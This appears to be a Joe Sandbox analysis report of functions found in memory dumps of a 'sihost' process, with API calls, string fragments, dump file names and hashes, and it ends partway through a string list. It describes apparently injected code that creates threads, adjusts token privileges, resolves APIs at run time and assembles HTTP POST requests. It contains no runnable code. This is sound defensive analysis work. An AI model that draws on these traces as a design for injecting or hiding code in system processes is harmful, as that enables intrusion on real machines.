Part of subcall function 00D1B478: _errno.LIBCMT ref: 00D1B498

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: InformationQuerySystem_errno
String ID:
API String ID: 2949836086-0
Opcode ID: a4fec896ddf0d1e45dc6041b5446e188ae51181d1aae09b39cd60bdeb453d7b7
Instruction ID: a26f7567ef5399c8166f4dfbb6acb8a45d64d86c9041b17734e644e4de3c9d53
Opcode Fuzzy Hash: a4fec896ddf0d1e45dc6041b5446e188ae51181d1aae09b39cd60bdeb453d7b7
Instruction Fuzzy Hash: 6B118136205680D2EB10CF25F0603AABBA0F789F98F598055EB888B309DE3CC481CF70

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC1320 Relevance: 1.6, APIs: 1, Instructions: 56
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 000001D63EAC1365

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: d7e381140d5eb8dc44b92a1c6a7934b62aae55e3f6154d0413c489dbe987d58a
Instruction ID: 98cdb60b48fa5a0e07af15f8ae82c37aceb917a0c0a8d49256a5f2fd9b4cdf75
Opcode Fuzzy Hash: d7e381140d5eb8dc44b92a1c6a7934b62aae55e3f6154d0413c489dbe987d58a
Instruction Fuzzy Hash: D42175B2B046C092EB508F25D8503AE77E0F759B98F199656DA8DCB74BCA3CC4429B70

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC1800 Relevance: 1.5, APIs: 1, Instructions: 36
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL ref: 000001D63EAC1847

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 111f0ec0d34a80c228313b53f90aae7828eb3044b4fd5618afe202589fddbd6c
Instruction ID: d39617e538f83685f14d2822d4ad1860cf35e66d1696daf14e33742b1f0c9785
Opcode Fuzzy Hash: 111f0ec0d34a80c228313b53f90aae7828eb3044b4fd5618afe202589fddbd6c
Instruction Fuzzy Hash: D201A772718F9096EB40DB20E89539D33E1F788B80F520239EA5D87742DF39D452C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007462 Relevance: 1.5, APIs: 1, Instructions: 2
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AdjustTokenPrivileges.KERNELBASE ref: 0000000180007462

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 41be09c4dbd10708f488b46d743a68238e1330f7eab7acf57df984d7e5d37225
Instruction ID: e1b858a3bfb3d41da0cb7cec3c7e2497cf740e3aad90da02f22d1e593b842a75
Opcode Fuzzy Hash: 41be09c4dbd10708f488b46d743a68238e1330f7eab7acf57df984d7e5d37225
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00D17070 Relevance: 1.3, Strings: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00D1719C

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 87bc01cceaedf86f023ad4f38f23779b7dd4be6e0a24a468f8cc6ec6764af73a
Instruction ID: cfa2c1f23ab61578c0e07d9117184a97178a540ee121c0bfe21ce9495ec1cb2f
Opcode Fuzzy Hash: 87bc01cceaedf86f023ad4f38f23779b7dd4be6e0a24a468f8cc6ec6764af73a
Instruction Fuzzy Hash: 7231B232218B8092DB04DF26F440369B7B1FB84B64F585616EBA9477E8EF78C591CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D19D00 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: a7d6fa05b97a1bcaf07d09420cafe0e8768247f8ddd7529cf26e9f303be023e4
Instruction ID: fe1621b5e85c8199dc203e4bd42a77436890bed92af3baa55d205b0380038ca8
Opcode Fuzzy Hash: a7d6fa05b97a1bcaf07d09420cafe0e8768247f8ddd7529cf26e9f303be023e4
Instruction Fuzzy Hash: 4001B96271160052DE24E725B4712B96391EB8DBD8F481025FD8D4B356EF2CC5848B31

Uniqueness

Uniqueness Score: -1.00%

Function 00D447D7 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c9747498ebd17865e8b923ca3868e30b43a3f7df93ac838e65103c36df42f0
Instruction ID: 6b133e92592e9930fc54b997dadccf4145cdff7d3fa5d033be38c9cda096e3e2
Opcode Fuzzy Hash: e9c9747498ebd17865e8b923ca3868e30b43a3f7df93ac838e65103c36df42f0
Instruction Fuzzy Hash: 9CE0A303106A00560A01CA746D702E6166096157F07960B518DFBC33E5E300C4489230

Uniqueness

Uniqueness Score: -1.00%

Function 00D156C0 Relevance: 31.6, APIs: 3, Strings: 15, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ltow_s.LIBCMT ref: 00D157FC

Part of subcall function 00D1B4B8: xtoa_s.LIBCMT ref: 00D1B4D0

Part of subcall function 00D1B82C: _errno.LIBCMT ref: 00D1B84A
Part of subcall function 00D1B82C: _invalid_parameter_noinfo.LIBCMT ref: 00D1B856

swprintf.LIBCMT ref: 00D157C5

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

swprintf.LIBCMT ref: 00D158A9

Strings

HTTP, xrefs: 00D15851
ent-, xrefs: 00D15881
POST, xrefs: 00D1583C
%d, xrefs: 00D15899
th: , xrefs: 00D15891
/1.1, xrefs: 00D15859
%s , xrefs: 00D15849
Leng, xrefs: 00D15889
Cont, xrefs: 00D15879
u.%u, xrefs: 00D157B7
st: , xrefs: 00D15869
%s, xrefs: 00D15871
%u.%, xrefs: 00D157B0
.%u, xrefs: 00D157BE
Ho, xrefs: 00D15861

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: swprintf$_errno_invalid_parameter_noinfo_ltow_s_vsprintf_s_lxtoa_s
String ID: Ho$ %s $%d$%s$%u.%$.%u$/1.1$Cont$HTTP$Leng$POST$ent-$st: $th: $u.%u
API String ID: 3011859312-4260112153
Opcode ID: fc7cf9f32abcae44a9d05c4c74d2b14891c05175ca3006e6b5d6ce82f9d3ad96
Instruction ID: 35d73f2a7ce007e8276d785c628a66239a66ff9a2acc32765baa0c2cdba59e9e
Opcode Fuzzy Hash: fc7cf9f32abcae44a9d05c4c74d2b14891c05175ca3006e6b5d6ce82f9d3ad96
Instruction Fuzzy Hash: 53517B73608B90DAD720CF61E4402DE7B71F7857A8F54021AEF986BA88DB78C545CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D1AE20 Relevance: 7.5, APIs: 5, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_FF_MSGBANNER.LIBCMT ref: 00D1AE50
_NMSG_WRITE.LIBCMT ref: 00D1AE5A
_errno.LIBCMT ref: 00D1AE99
_errno.LIBCMT ref: 00D1AEA4
_errno.LIBCMT ref: 00D1AEB9

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: da6b13bdd436cdc63026394d4c0b04ed54d8aa96ee2233ca824e54a343101ccb
Instruction ID: 0869a8ef83dd2abaf12357b2d35466355d764a53af0ea5f7d809cf881b4fce09
Opcode Fuzzy Hash: da6b13bdd436cdc63026394d4c0b04ed54d8aa96ee2233ca824e54a343101ccb
Instruction Fuzzy Hash: EE019621356740A6FB14ABA5B5123AA3350EB847A0F485631F929477D6DF7CC8C18772

Uniqueness

Uniqueness Score: -1.00%

Function 00D1A370 Relevance: 1.6, APIs: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D1A2E0: _ltow_s.LIBCMT ref: 00D1A33E

std::_Xbad_alloc.LIBCPMT ref: 00D1A4B1

Part of subcall function 00D27574: _CxxThrowException.LIBCMT ref: 00D275B1

Part of subcall function 00D1B938: _CxxThrowException.LIBCMT ref: 00D1B99B

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: ExceptionThrow$Xbad_alloc_ltow_sstd::_
String ID:
API String ID: 467147323-0
Opcode ID: bc0baa32dad14f12f8aadfcc4413e0b160ec2705c0f6f1d2ea4c3bc362c27e52
Instruction ID: 81cb5b536e8ecb6f48a5fa769db2fa71b10dacc4dfd3e84fa4d53138c81c7d05
Opcode Fuzzy Hash: bc0baa32dad14f12f8aadfcc4413e0b160ec2705c0f6f1d2ea4c3bc362c27e52
Instruction Fuzzy Hash: 9F41A432206B4091EB14DF69F8403A973A5EF98B94F5C452AAF89077A5EF38C991C371

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63DC20001 Relevance: 1.5, APIs: 1, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000001D63DC20006

Memory Dump Source

Source File: 00000002.00000003.2152740840.000001D63DC20000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63DC20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_1d63dc20000_sihost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 68c1039645e2a4c025f3122e06f801197a3820c0aa27077361847d6b8fc00b1f
Instruction ID: e4605976f239cf862d893461e51fef869ffc688064b6b2ba872c65a99eb7fc4d
Opcode Fuzzy Hash: 68c1039645e2a4c025f3122e06f801197a3820c0aa27077361847d6b8fc00b1f
Instruction Fuzzy Hash: B1E08C3012CB59EAEF325F6C48443EC2598F725368F343367949FD20C2D764C98AAE62

Uniqueness

Uniqueness Score: -1.00%

Function 00D1B478 Relevance: 1.5, APIs: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.LIBCMT ref: 00D1B498

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: def080b04f0ec7b77153d23b48baec4222adbc3f8adee4bb8bdaf436753cbcbb
Instruction ID: 54f7b1a9efb2f105aba643230a9ece3383dd90cb2b1ce939a8eee3b8444b96af
Opcode Fuzzy Hash: def080b04f0ec7b77153d23b48baec4222adbc3f8adee4bb8bdaf436753cbcbb
Instruction Fuzzy Hash: 5ED05B5461614192EF14B7F375177FA06818F997A8F4894226D1D8B343EF1885D14771

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001D63EAC7770 Relevance: 117.4, APIs: 33, Strings: 34, Instructions: 195libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAC9220
GetProcAddress.KERNEL32 ref: 000001D63EAC923E
GetProcAddress.KERNEL32 ref: 000001D63EAC925C
GetProcAddress.KERNEL32 ref: 000001D63EAC927A
GetProcAddress.KERNEL32 ref: 000001D63EAC9298
GetProcAddress.KERNEL32 ref: 000001D63EAC92B6
GetProcAddress.KERNEL32 ref: 000001D63EAC92D4
GetProcAddress.KERNEL32 ref: 000001D63EAC92F2
GetProcAddress.KERNEL32 ref: 000001D63EAC9310
GetProcAddress.KERNEL32 ref: 000001D63EAC932E
GetProcAddress.KERNEL32 ref: 000001D63EAC934C
GetProcAddress.KERNEL32 ref: 000001D63EAC936A
GetProcAddress.KERNEL32 ref: 000001D63EAC9388
GetProcAddress.KERNEL32 ref: 000001D63EAC93A6
GetProcAddress.KERNEL32 ref: 000001D63EAC93C4
GetProcAddress.KERNEL32 ref: 000001D63EAC93E2
GetProcAddress.KERNEL32 ref: 000001D63EAC9400
GetProcAddress.KERNEL32 ref: 000001D63EAC941E
GetProcAddress.KERNEL32 ref: 000001D63EAC943C
GetProcAddress.KERNEL32 ref: 000001D63EAC945A
GetProcAddress.KERNEL32 ref: 000001D63EAC9478
GetProcAddress.KERNEL32 ref: 000001D63EAC9496
GetProcAddress.KERNEL32 ref: 000001D63EAC94B4
GetProcAddress.KERNEL32 ref: 000001D63EAC94D2
GetProcAddress.KERNEL32 ref: 000001D63EAC94F0
GetProcAddress.KERNEL32 ref: 000001D63EAC950E
GetProcAddress.KERNEL32 ref: 000001D63EAC952C
GetProcAddress.KERNEL32 ref: 000001D63EAC954A
GetProcAddress.KERNEL32 ref: 000001D63EAC9568
GetProcAddress.KERNEL32 ref: 000001D63EAC9586
GetProcAddress.KERNEL32 ref: 000001D63EAC95A4
GetProcAddress.KERNEL32 ref: 000001D63EAC95C2
GetProcAddress.KERNEL32 ref: 000001D63EAC95E0

Strings

SetFileInformationByHandleW, xrefs: 000001D63EAC95CF
SetThreadStackGuarantee, xrefs: 000001D63EAC92DA
CreateThreadpoolTimer, xrefs: 000001D63EAC92F8
CreateEventExW, xrefs: 000001D63EAC929E
CreateThreadpoolWait, xrefs: 000001D63EAC9370
kernel32.dll, xrefs: 000001D63EAC9206
GetCurrentPackageId, xrefs: 000001D63EAC956E
GetDateFormatEx, xrefs: 000001D63EAC94BA
FlsGetValue, xrefs: 000001D63EAC9244
CreateSymbolicLinkW, xrefs: 000001D63EAC9442
CompareStringEx, xrefs: 000001D63EAC949C
GetFileInformationByHandleExW, xrefs: 000001D63EAC95AA
SetThreadpoolTimer, xrefs: 000001D63EAC9316
GetTickCount64, xrefs: 000001D63EAC958C
GetLocaleInfoEx, xrefs: 000001D63EAC94D8
CloseThreadpoolTimer, xrefs: 000001D63EAC9352
GetCurrentProcessorNumber, xrefs: 000001D63EAC9406
SetThreadpoolWait, xrefs: 000001D63EAC938E
GetLogicalProcessorInformation, xrefs: 000001D63EAC9424
IsValidLocaleName, xrefs: 000001D63EAC9532
LCMapStringEx, xrefs: 000001D63EAC9550
GetUserDefaultLocaleName, xrefs: 000001D63EAC9514
CreateSemaphoreExW, xrefs: 000001D63EAC92BC
InitializeCriticalSectionEx, xrefs: 000001D63EAC9280
GetTimeFormatEx, xrefs: 000001D63EAC94F6
FlsAlloc, xrefs: 000001D63EAC9213
FreeLibraryWhenCallbackReturns, xrefs: 000001D63EAC93EF
SetDefaultDllDirectories, xrefs: 000001D63EAC9460
CloseThreadpoolWait, xrefs: 000001D63EAC93AC
EnumSystemLocalesEx, xrefs: 000001D63EAC947E
WaitForThreadpoolTimerCallbacks, xrefs: 000001D63EAC9334
FlsFree, xrefs: 000001D63EAC9226
FlsSetValue, xrefs: 000001D63EAC9262
FlushProcessWriteBuffers, xrefs: 000001D63EAC93CA

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: CloseThreadpoolTimer$CloseThreadpoolWait$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$EnumSystemLocalesEx$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetDateFormatEx$GetFileInformationByHandleExW$GetLocaleInfoEx$GetLogicalProcessorInformation$GetTickCount64$GetTimeFormatEx$GetUserDefaultLocaleName$InitializeCriticalSectionEx$IsValidLocaleName$LCMapStringEx$SetDefaultDllDirectories$SetFileInformationByHandleW$SetThreadStackGuarantee$SetThreadpoolTimer$SetThreadpoolWait$WaitForThreadpoolTimerCallbacks$kernel32.dll
API String ID: 190572456-2934716456
Opcode ID: 28fd545c1b1802e18899289452b4086426c3a457d6c98bf94435ea753f44e205
Instruction ID: 638ce3c13827a52691c534212c0b05026f2dea4a0dfa36aaaf1ad1bf03847724
Opcode Fuzzy Hash: 28fd545c1b1802e18899289452b4086426c3a457d6c98bf94435ea753f44e205
Instruction Fuzzy Hash: CFC18AF8601FC9A5EE04DB61FC743E523A1BB89786F866727C80E47266DE38C155C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1C564 Relevance: 117.4, APIs: 33, Strings: 34, Instructions: 194libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FAF4
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB12
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB30
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB4E
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB6C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB8A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FBA8
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FBC6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FBE4
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC02
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC20
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC3E
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC5C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC7A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC98
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FCB6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FCD4
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FCF2
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FD10
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FD2E
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FD4C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FD6A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FD88
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FDA6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FDC4
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FDE2
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FE00
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FE1E
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FE3C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FE5A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FE78
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FE96
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FEB4

Strings

GetLocaleInfoEx, xrefs: 00D1FDAC
CreateEventExW, xrefs: 00D1FB72
CreateSymbolicLinkW, xrefs: 00D1FD16
GetCurrentProcessorNumber, xrefs: 00D1FCDA
GetTimeFormatEx, xrefs: 00D1FDCA
